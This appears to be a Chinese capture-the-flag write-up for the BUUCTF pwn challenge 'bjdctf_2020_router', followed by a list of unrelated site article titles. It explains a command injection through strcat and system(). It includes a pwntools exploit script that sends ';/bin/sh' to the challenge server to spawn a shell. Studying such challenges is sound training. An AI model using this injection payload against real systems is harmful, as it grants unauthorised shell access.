当前位置: 首页 > news >正文

[buuctf]bjdctf_2020_router

首先查看一下文件的保护措施
image
在用ida打开看一下
这里就是一个menu,然后进行选择,进入不同的函数
image
这里主要注意到进入case1时,这里直接就有一个system函数,那么是否可以直接通过这个函数获得shell呢
在看看这里通过read函数向buf进行输入,在用strcat函数将输入到buf的字符串拼接到dest后面,那这里就可以直接输入/bin/sh了
但是要注意要加上一个 " ; ",这样就能在system函数中执行多个命令,才能执行/bin/sh

点击查看代码
from pwn import *
io=remote("node5.buuoj.cn",25108)
io.sendlineafter(b"choose:","1")
io.sendlineafter(b"address:",";/bin/sh")
io.interactive()
http://www.jsqmd.com/news/16154/

相关文章:

  • AtCoder Beginner Contest 428 ABCDE 题目解析
  • 稻草火把下的星辰:回忆我的90年代求学路
  • C++动态多态原理分析
  • ENC28J60
  • 第七章 常见攻击事件分析--钓鱼邮件
  • 10月18日日记
  • 第九章-实战篇-运维杰克
  • 硬件基础知识
  • 第三章 权限维持-linux权限维持-隐藏
  • 第五章 linux实战-黑链
  • AI元人文:价值原语化——在创新与传承间搭建文明桥梁
  • 线段树历史值学习笔记
  • 连续两行fastq、连续两行MD5值如何转换为每行一个fastq一个MD5格式
  • bridge 一般是 网络桥接模块。
  • 周六训练-1018
  • 23-网关选型
  • (第五次)随机森林和xGboost
  • Asp.Net Core 解决使用 Docker调试时出现“准备容器时发生了一个非关键性错误。项目将继续正常工作。错误为: 路径中具有非法字符。”
  • [Linux] NeoVim安装和Lazyvim配置
  • ABC 随笔
  • 大数据分析基础及应用案例:第三周学习报告 ——Matplotlib 学习报告
  • 2025.10 训练日志
  • 全球AI推理扩展技术解析
  • 矩阵的秩和逆
  • 乱七八糟的知识点
  • 自监督学习在医疗AI中的技术搭建路径分析(下)
  • AtCoder Beginner Contest 428
  • swtich的应用
  • 2025/10/18
  • 模板机制作